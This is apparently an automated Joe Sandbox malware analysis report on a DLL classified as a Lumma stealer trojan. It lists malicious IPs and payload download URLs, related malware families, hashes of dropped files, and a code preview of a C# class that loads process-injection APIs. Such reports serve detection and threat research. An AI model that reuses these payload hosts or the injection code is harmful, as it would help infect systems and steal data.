World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
147.45.44.131	unknown	Russian Federation		2895	FREE-NET-ASFREEnetEU	true
157.20.182.177	unknown	unknown		24297	FCNUniversityPublicCorporationOsakaJP	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1583432
Start date and time:	2025-01-02 19:13:11 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 11m 30s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	40
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	iviewers.dll
Detection:	MAL
Classification:	mal100.troj.spyw.expl.evad.winDLL@55/36@0/2
EGA Information:	Successful, ratio: 62.5%
HCA Information:	Successful, ratio: 99% Number of executed functions: 295 Number of non-executed functions: 53
Cookbook Comments:	Found application associated with file extension: .dll Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, RuntimeBroker.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 199.232.214.172, 13.107.246.45, 20.12.23.50, 20.109.210.53, 20.190.159.0, 2.23.209.130
Excluded domains from analysis (whitelisted): www.bing.com, client.wns.windows.com, ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, login.live.com, ctldl.windowsupdate.com.delivery.microsoft.com, ctldl.windowsupdate.com, wu-b-net.trafficmanager.net, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target RegAsm.exe, PID 7436 because it is empty
Execution Graph export aborted for target RegAsm.exe, PID 7452 because it is empty
Execution Graph export aborted for target RegAsm.exe, PID 7528 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: iviewers.dll

Simulations

Behavior and APIs

Time	Type	Description
13:14:11	API Interceptor	156x Sleep call for process: powershell.exe modified
13:14:22	API Interceptor	8551656x Sleep call for process: RegAsm.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
147.45.44.131	wrcaf.ps1	Get hash	malicious	DcRat, KeyLogger, StormKitty, Strela Stealer, VenomRAT	Browse	147.45.44.131/infopage/ersyb.exe
	iubn.ps1	Get hash	malicious	DcRat, KeyLogger, StormKitty, Strela Stealer, VenomRAT	Browse	147.45.44.131/infopage/ersyb.exe
	rwvg1.exe	Get hash	malicious	DcRat, KeyLogger, StormKitty, VenomRAT	Browse	147.45.44.131/infopage/ersyb.exe
	2 ps1.ps1	Get hash	malicious	KeyLogger, StormKitty, Strela Stealer, VenomRAT	Browse	147.45.44.131/infopage/ersyb.exe
	vfrcxq.ps1	Get hash	malicious	AveMaria, DcRat, KeyLogger, StormKitty, Strela Stealer, VenomRAT	Browse	147.45.44.131/infopage/yijth.exe
	vfdjo.exe	Get hash	malicious	AveMaria, DcRat, KeyLogger, StormKitty, VenomRAT	Browse	147.45.44.131/infopage/yijth.exe
	gqub.bat	Get hash	malicious	AveMaria, DcRat, KeyLogger, StormKitty, Strela Stealer, VenomRAT	Browse	147.45.44.131/infopage/yijth.exe
	trwsfg.ps1	Get hash	malicious	AveMaria, DcRat, KeyLogger, StormKitty, Strela Stealer, VenomRAT	Browse	147.45.44.131/infopage/yijth.exe
	iviewers.dll	Get hash	malicious	LummaC	Browse	147.45.44.131/infopage/hgfpj.exe
	qoqD1RxV0F.exe	Get hash	malicious	LummaC	Browse	147.45.44.131/infopage/inbg.exe
157.20.182.177	wrcaf.ps1	Get hash	malicious	DcRat, KeyLogger, StormKitty, Strela Stealer, VenomRAT	Browse
	iubn.ps1	Get hash	malicious	DcRat, KeyLogger, StormKitty, Strela Stealer, VenomRAT	Browse
	rwvg1.exe	Get hash	malicious	DcRat, KeyLogger, StormKitty, VenomRAT	Browse
	ersyb.exe	Get hash	malicious	DcRat, KeyLogger, StormKitty, VenomRAT	Browse
	vfrcxq.ps1	Get hash	malicious	AveMaria, DcRat, KeyLogger, StormKitty, Strela Stealer, VenomRAT	Browse
	vfdjo.exe	Get hash	malicious	AveMaria, DcRat, KeyLogger, StormKitty, VenomRAT	Browse
	gqub.bat	Get hash	malicious	AveMaria, DcRat, KeyLogger, StormKitty, Strela Stealer, VenomRAT	Browse
	trwsfg.ps1	Get hash	malicious	AveMaria, DcRat, KeyLogger, StormKitty, Strela Stealer, VenomRAT	Browse
	bKxtUOPLtR.exe	Get hash	malicious	AveMaria, DcRat, KeyLogger, StormKitty, VenomRAT	Browse
	https://gogl.to/3HGT	Get hash	malicious	CAPTCHA Scam ClickFix, DcRat, KeyLogger, StormKitty, VenomRAT	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	wrcaf.ps1	Get hash	malicious	DcRat, KeyLogger, StormKitty, Strela Stealer, VenomRAT	Browse	199.232.210.172
	iubn.ps1	Get hash	malicious	DcRat, KeyLogger, StormKitty, Strela Stealer, VenomRAT	Browse	199.232.210.172
	rwvg1.exe	Get hash	malicious	DcRat, KeyLogger, StormKitty, VenomRAT	Browse	199.232.210.172
	ersyb.exe	Get hash	malicious	DcRat, KeyLogger, StormKitty, VenomRAT	Browse	199.232.214.172
	Hornswoggle.exe	Get hash	malicious	GuLoader	Browse	199.232.214.172
	8n26gvrXUM.exe	Get hash	malicious	Unknown	Browse	199.232.214.172
	https://gldkzr-lpqw.buzz/script/ut.js?cb%5C=1735764124690	Get hash	malicious	Unknown	Browse	199.232.210.172
	5fr5gthkjdg71.exe	Get hash	malicious	Quasar, R77 RootKit	Browse	199.232.214.172
	dGhlYXB0Z3JvdXA=-free.exe	Get hash	malicious	Unknown	Browse	199.232.210.172
	hcxmivKYfL.exe	Get hash	malicious	RedLine	Browse	199.232.210.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
FCNUniversityPublicCorporationOsakaJP	wrcaf.ps1	Get hash	malicious	DcRat, KeyLogger, StormKitty, Strela Stealer, VenomRAT	Browse	157.20.182.177
	iubn.ps1	Get hash	malicious	DcRat, KeyLogger, StormKitty, Strela Stealer, VenomRAT	Browse	157.20.182.177
	rwvg1.exe	Get hash	malicious	DcRat, KeyLogger, StormKitty, VenomRAT	Browse	157.20.182.177
	ersyb.exe	Get hash	malicious	DcRat, KeyLogger, StormKitty, VenomRAT	Browse	157.20.182.177
	loligang.mips.elf	Get hash	malicious	Mirai	Browse	157.16.83.250
	vfrcxq.ps1	Get hash	malicious	AveMaria, DcRat, KeyLogger, StormKitty, Strela Stealer, VenomRAT	Browse	157.20.182.177
	vfdjo.exe	Get hash	malicious	AveMaria, DcRat, KeyLogger, StormKitty, VenomRAT	Browse	157.20.182.177
	gqub.bat	Get hash	malicious	AveMaria, DcRat, KeyLogger, StormKitty, Strela Stealer, VenomRAT	Browse	157.20.182.177
	trwsfg.ps1	Get hash	malicious	AveMaria, DcRat, KeyLogger, StormKitty, Strela Stealer, VenomRAT	Browse	157.20.182.177
	bKxtUOPLtR.exe	Get hash	malicious	AveMaria, DcRat, KeyLogger, StormKitty, VenomRAT	Browse	157.20.182.177
FREE-NET-ASFREEnetEU	wrcaf.ps1	Get hash	malicious	DcRat, KeyLogger, StormKitty, Strela Stealer, VenomRAT	Browse	147.45.44.131
	iubn.ps1	Get hash	malicious	DcRat, KeyLogger, StormKitty, Strela Stealer, VenomRAT	Browse	147.45.44.131
	rwvg1.exe	Get hash	malicious	DcRat, KeyLogger, StormKitty, VenomRAT	Browse	147.45.44.131
	2 ps1.ps1	Get hash	malicious	KeyLogger, StormKitty, Strela Stealer, VenomRAT	Browse	147.45.44.131
	lDO4WBEQyL.exe	Get hash	malicious	GO Backdoor	Browse	147.45.196.157
	vfrcxq.ps1	Get hash	malicious	AveMaria, DcRat, KeyLogger, StormKitty, Strela Stealer, VenomRAT	Browse	147.45.44.131
	vfdjo.exe	Get hash	malicious	AveMaria, DcRat, KeyLogger, StormKitty, VenomRAT	Browse	147.45.44.131
	gqub.bat	Get hash	malicious	AveMaria, DcRat, KeyLogger, StormKitty, Strela Stealer, VenomRAT	Browse	147.45.44.131
	trwsfg.ps1	Get hash	malicious	AveMaria, DcRat, KeyLogger, StormKitty, Strela Stealer, VenomRAT	Browse	147.45.44.131
	https://gogl.to/3HGT	Get hash	malicious	CAPTCHA Scam ClickFix, DcRat, KeyLogger, StormKitty, VenomRAT	Browse	147.45.44.131

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	data
Category:	dropped
Size (bytes):	328
Entropy (8bit):	3.2407377588831796
Encrypted:	false
SSDEEP:	6:kKf9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:WDImsLNkPlE99SNxAhUe/3
MD5:	8A89562B7EC2A50569A1CD53797B40E7
SHA1:	1B03C7472821141C93451BE0BBD28DCA53A0BF72
SHA-256:	51495344BEAAA8BDF709E55B965BD2BA3F7D93C64C8C31D50A841D3600F58C90
SHA-512:	0B79C8A15F804337858EE87E0B58701C6F0DF257BCF589EFBCED2CEDAED488EBC8BFB731045DEF886C610F19C23F61D22497942B3F02B3AA35D867C98BBBD3B9
Malicious:	false
Preview:	p...... ...........%B]..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\RegAsm.exe.log

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	321
Entropy (8bit):	5.36509199858051
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTrM3RJoDLIP12MUAvvR+uCv:Q3La/KDLI4MWuPTArkvoDLI4MWuCv
MD5:	1CF2352B684EF57925D98E766BA897F2
SHA1:	6E8CB2C1143E9D9D1211BAA811FE4CAA49C08B55
SHA-256:	43C3FB3C0B72A899C5442DAC8748D019D800E0A9421D3677EB96E196ED285290
SHA-512:	9F2D6F89453C867386A65A04FF96067FC3B23A99A4BCE0ECD227E130F409069FE6DD202D4839CBF204C3F204EC058D6CDFDADA7DD212BC2356D74FEC97F22061
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1510207563435464
Encrypted:	false
SSDEEP:	3:Nlllul9kLZ:NllUG
MD5:	087D847469EB88D02E57100D76A2E8E4
SHA1:	A2B15CEC90C75870FDAE3FEFD9878DD172319474
SHA-256:	81EB9A97215EB41752F6F4189343E81A0D5D7332E1646A24750D2E08B4CAE013
SHA-512:	4682F4457C1136F84C10ACFE3BD114ACF3CCDECC1BDECC340A5A36624D93A4CB3D262B3A6DD3523C31E57C969F04903AB86BE3A2C6B07193BF08C00962B33727
Malicious:	false
Preview:	@...e.................................,..............@..........

C:\Users\user\AppData\Local\Temp\10esxhtc\10esxhtc.0.cs

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	11063
Entropy (8bit):	4.54611001642782
Encrypted:	false
SSDEEP:	192:2QC2o4mAQgOLocU9wMk2kAt/Z7pu/cuvnzHzrEo6uT:2oYLoH97t/Z7pgjvzf5DT
MD5:	3FA79DECFF8805745CEA8116D9BB2643
SHA1:	92343C5FA2C768B964AE3A4E9136E5D7193E8558
SHA-256:	E6852A401B53A7AF04D57AA1E4FC9621E3DFFC1221534142316A27AE67E8F89C
SHA-512:	5C2879E59FA6609E6E87F70C5237B250A906BF7DD13A343DAC9E81635B1FC91AD9374E643A306B99503C52CE9BD56554A64AA132584C732D43EE39FB17305D78
Malicious:	false
Preview:	.using System;..using System.Diagnostics;..using System.IO;..using System.Net;..using System.Runtime.InteropServices;..using System.Threading.Tasks;....public class ClasserPlus..{.. public static Int16 ConvertToInt16(byte[] value, int startIndex).. {.. return BitConverter.ToInt16(value, startIndex);.. }.... public static Int32 ConvertToInt32(byte[] value, int startIndex).. {.. return BitConverter.ToInt32(value, startIndex);.. }.... public static byte[] ConvertToBytes(int value).. {.. return BitConverter.GetBytes(value);.. }.... public static string[] GetApiNames().. {.. return new string[].. {.. "kernel32",.. "ntdll",.. "ResumeThread",.. "Wow64SetThreadContext",.. "SetThreadContext",.. "Wow64GetThreadContext",.. "GetThreadContext",.. "VirtualAllocEx",.. "WriteProcessMemory",.. "ReadProcessMemory",..

C:\Users\user\AppData\Local\Temp\10esxhtc\10esxhtc.cmdline

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with no line terminators
Category:	dropped
Size (bytes):	210
Entropy (8bit):	5.010730657542962
Encrypted:	false
SSDEEP:	6:pAu+H2L/6K2N723fzL0zxszIN723fzLGWH:p37L/6K2a7L0ta7yA
MD5:	B6B8CD7820BA365D9EA815ACBA5A597C
SHA1:	0077A23C7D78B867A02F1CAB925F1FA5501BCC18
SHA-256:	A1DE6D895CF11ECACAF519737BB968B7D0B1FAB0B8FBBAF2C4AC9FFBF3211986
SHA-512:	D346DEF25A2113455933DFB9442F78E3880624FCC230DC4DBF3B8A656C3830E74CEAD4D105D24E450CF2911E1BF26F6848E841D6C08F524D7F11AEE01316C1F1
Malicious:	true
Preview:	./t:library /utf8output /R:"System.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\10esxhtc\10esxhtc.dll" /debug- /optimize+ "C:\Users\user\AppData\Local\Temp\10esxhtc\10esxhtc.0.cs"

C:\Users\user\AppData\Local\Temp\10esxhtc\10esxhtc.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	9728
Entropy (8bit):	4.627460531357799
Encrypted:	false
SSDEEP:	192:WRH6HN4QhfNQ8q8888yYAdHRjOaqUxRa95MqBYDeN45w:BNxNH9OR+a95MqHS5w
MD5:	8ACC360E1DE5087C7F1D091FC8743EB5
SHA1:	C30A51C2BBE570C1639635147CE3AD7AE909A285
SHA-256:	4D9D6E2B53C262EF273A976DA66892564E802E5BCBDA25FFE4142F6CFC3D506C
SHA-512:	CAF282401AB74E114E1CD748C3A37A0FB1C251B57DBC1BA1D31A43CF8587590892940C1E70B537BC9D0D1D9252A991A644DF45E19FC649D558A748738EA86EA4
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...m.vg...........!.................<... ...@....... ....................................@..................................<..K....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@....... ..............@..@.reloc.......`.......$..............@..B.................<......H........%.............................................................."..(...."..(......(.......0..m.................r...p...r...p...r...p...r9..p...re..p...r...p...r...p...r...p...r...p....r...p....r=..p....rg..p.....(......(.........(....(.........*....0..:........e...+X......YE................................................+....+....,..?.+...+...+......X...2...8..............................(....(....}....~....r...pr...p~....~..... ....~.........o3.......-.s....z..<

C:\Users\user\AppData\Local\Temp\10esxhtc\10esxhtc.out

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF, CR line terminators
Category:	modified
Size (bytes):	711
Entropy (8bit):	5.208980935163734
Encrypted:	false
SSDEEP:	12:KO2z/qR37L/6K2a7L0ta7y1KaxK4BFNn5KBZvK2wo8dRSgarZucvW3ZDPOU:KOuqdn6K2a7ca74Kax5DqBVKVrdFAMBt
MD5:	8AB1315B0A03D97F8FF7221C6C7994F7
SHA1:	9B7E0C530761340A7DCA86942E6E5876D85666F6
SHA-256:	6FC7F8C980E04E1A7F544509325F4C563EC5E19222EEEED741D0ED433B1ADB18
SHA-512:	862D652AA90483BAEF5AFA8FAAEC70C375E909B068C0711624281C77B636CE795C9617FB24DE7BBE33288A862B066E19D9C4A587B3FE91A809DD7CE639DAA326
Malicious:	false
Preview:	.C:\Users\user\Desktop> "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /t:library /utf8output /R:"System.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\10esxhtc\10esxhtc.dll" /debug- /optimize+ "C:\Users\user\AppData\Local\Temp\10esxhtc\10esxhtc.0.cs"......Microsoft (R) Visual C# Compiler version 4.8.4084.0...for C# 5..Copyright (C) Microsoft Corporation. All rights reserved.......This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240....

C:\Users\user\AppData\Local\Temp\10esxhtc\CSC630D1DBBBF4439F8DFE57AEDCAADEA.TMP

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
File Type:	MSVC .res
Category:	dropped
Size (bytes):	652
Entropy (8bit):	3.092306362034195
Encrypted:	false
SSDEEP:	12:DXt4Ii3ntuAHia5YA49aUGiqMZAiN5gryYfak7YnqqzYPN5Dlq5J:+RI+ycuZhNQakSMPNnqX
MD5:	65D8B364CEF64528A8AF6859CDBA7AED
SHA1:	9DD2F1EAB86C636002CA9664EFA6ECA31120F7D9
SHA-256:	3B782AA3501D1D3DD15B098C125D99AD03BBD8FFAFE26E8D05ABA63DD1B7F4B6
SHA-512:	F57C1BEF79323D407D5ED33794EA3B2949561664DF4086754531901A1A7D5DA8C1C971B0B3637A177C256E486A9F7533B185BD3AEC5AF3F204346B1725DAF531
Malicious:	false
Preview:	.... ...........................L...<...............0...........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...1.0.e.s.x.h.t.c...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e...1.0.e.s.x.h.t.c...d.l.l.....4.....P.r.o.d.u.c.t.V.e.r.s.i.o.n...0...0...0...0...8.....A.s.s.e.m.b.l.y. .V.e.r.s.i.o.n...0...0...0...0...

C:\Users\user\AppData\Local\Temp\5swi5u3s\5swi5u3s.0.cs

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	11063
Entropy (8bit):	4.54611001642782
Encrypted:	false
SSDEEP:	192:2QC2o4mAQgOLocU9wMk2kAt/Z7pu/cuvnzHzrEo6uT:2oYLoH97t/Z7pgjvzf5DT
MD5:	3FA79DECFF8805745CEA8116D9BB2643
SHA1:	92343C5FA2C768B964AE3A4E9136E5D7193E8558
SHA-256:	E6852A401B53A7AF04D57AA1E4FC9621E3DFFC1221534142316A27AE67E8F89C
SHA-512:	5C2879E59FA6609E6E87F70C5237B250A906BF7DD13A343DAC9E81635B1FC91AD9374E643A306B99503C52CE9BD56554A64AA132584C732D43EE39FB17305D78
Malicious:	false
Preview:	.using System;..using System.Diagnostics;..using System.IO;..using System.Net;..using System.Runtime.InteropServices;..using System.Threading.Tasks;....public class ClasserPlus..{.. public static Int16 ConvertToInt16(byte[] value, int startIndex).. {.. return BitConverter.ToInt16(value, startIndex);.. }.... public static Int32 ConvertToInt32(byte[] value, int startIndex).. {.. return BitConverter.ToInt32(value, startIndex);.. }.... public static byte[] ConvertToBytes(int value).. {.. return BitConverter.GetBytes(value);.. }.... public static string[] GetApiNames().. {.. return new string[].. {.. "kernel32",.. "ntdll",.. "ResumeThread",.. "Wow64SetThreadContext",.. "SetThreadContext",.. "Wow64GetThreadContext",.. "GetThreadContext",.. "VirtualAllocEx",.. "WriteProcessMemory",.. "ReadProcessMemory",..

C:\Users\user\AppData\Local\Temp\5swi5u3s\5swi5u3s.cmdline

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with no line terminators
Category:	dropped
Size (bytes):	210
Entropy (8bit):	5.002674509932029
Encrypted:	false
SSDEEP:	6:pAu+H2L/6K2N723fnSsOOUzxszIN723fnSsOM:p37L/6K2aahtaas
MD5:	0CAE116AD5DEB614B71BDC70DA5BE061
SHA1:	D3861594656D55450F7003E3AE8BED64F869069B
SHA-256:	F73D01D96BE757CA23E2763240E59C562FAD131E10F7EF1C6C1BEF1D3A5385A2
SHA-512:	B98F060D160AC3C43F081A62556C0734C6EED117D8EE279F663E6437FF6B5FC320AB320348514F19E2642F29D24A6FB41AAAA89CF2FBFE245905A08CDCB83714
Malicious:	false
Preview:	./t:library /utf8output /R:"System.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\5swi5u3s\5swi5u3s.dll" /debug- /optimize+ "C:\Users\user\AppData\Local\Temp\5swi5u3s\5swi5u3s.0.cs"

C:\Users\user\AppData\Local\Temp\5swi5u3s\5swi5u3s.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	9728
Entropy (8bit):	4.630465539892676
Encrypted:	false
SSDEEP:	192:WRH6HN4QhfNQ8q8888yYAdzvRjOauUxRa95MqBYZeN45tuH:BNxNzv9Ot+a95MqtS5tuH
MD5:	EFB2BCBC9E9C02D3D9C08E8B9B3E6002
SHA1:	CB67DDA54BD9D455512B9A4781F0D3DE1A74EAD6
SHA-256:	71497B61821D3895BCB4A1415F6E7F43AE112B8083621EBB57FEE436B39E69AB
SHA-512:	287D53B4F0EB5911108BDA4D52C760D24091624C887BCA903CAF01EAD7AB9904BFDC0E8C8E29A7C6FC4040211DC1BAA2D2F4CC7632F9DACD8FA423F76B737B5D
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...m.vg...........!.................<... ...@....... ....................................@..................................<..K....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@....... ..............@..@.reloc.......`.......$..............@..B.................<......H........%.............................................................."..(...."..(......(.......0..m.................r...p...r...p...r...p...r9..p...re..p...r...p...r...p...r...p...r...p....r...p....r=..p....rg..p.....(......(.........(....(.........*....0..:........e...+X......YE................................................+....+....,..?.+...+...+......X...2...8..............................(....(....}....~....r...pr...p~....~..... ....~.........o3.......-.s....z..<

C:\Users\user\AppData\Local\Temp\5swi5u3s\5swi5u3s.out

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF, CR line terminators
Category:	modified
Size (bytes):	711
Entropy (8bit):	5.2032008795177385
Encrypted:	false
SSDEEP:	12:KO2z/qR37L/6K2aahtaaZKaxK4BFNn5KBZvK2wo8dRSgarZucvW3ZDPOU:KOuqdn6K2aa7aaZKax5DqBVKVrdFAMBt
MD5:	DD1C515372ED4CBB6CE3CF83EFF0B582
SHA1:	BC4005E29759190FCAB7867889CF6FD0ED5B3C7B
SHA-256:	36BE061ED6318EB5B0A4B120DDB865134787A87E858D244D33DA59D635EB39DF
SHA-512:	CEC85A6DF182411323319A0CD636C6478CD0F07169A2443E787EAE58560CDD6366470BD237BC2AA77B0376BAD6649FC93EA80AA6824B479149F175EE0FE59B74
Malicious:	false
Preview:	.C:\Users\user\Desktop> "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /t:library /utf8output /R:"System.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\5swi5u3s\5swi5u3s.dll" /debug- /optimize+ "C:\Users\user\AppData\Local\Temp\5swi5u3s\5swi5u3s.0.cs"......Microsoft (R) Visual C# Compiler version 4.8.4084.0...for C# 5..Copyright (C) Microsoft Corporation. All rights reserved.......This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240....

C:\Users\user\AppData\Local\Temp\5swi5u3s\CSCAF633C7494E44EEF91E489AA57193A1E.TMP

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
File Type:	MSVC .res
Category:	dropped
Size (bytes):	652
Entropy (8bit):	3.1052638124022653
Encrypted:	false
SSDEEP:	12:DXt4Ii3ntuAHia5YA49aUGiqMZAiN5gry6cWMGak7YnqqHcWMXPN5Dlq5J:+RI+ycuZhNscWrakSHcWEPNnqX
MD5:	77DD75ABC6FF65BD2D76574F8488BE4A
SHA1:	F3D95E0608CC606D93C4D7F8FF2D9D6AAE603A28
SHA-256:	6AF79154E003977DDCF5A9652D4251C1B9CBBD43B4F825C561EDA773F76C4D41
SHA-512:	CEB3618D7A93E11F4DD8E466FB9FA46D26CA977444BB2F6050E9173C9A9F758E45A355C2AA8E45A372E136C5E98E75258DD98F77BCCAFC73A7CCAD7C67199EFC
Malicious:	false
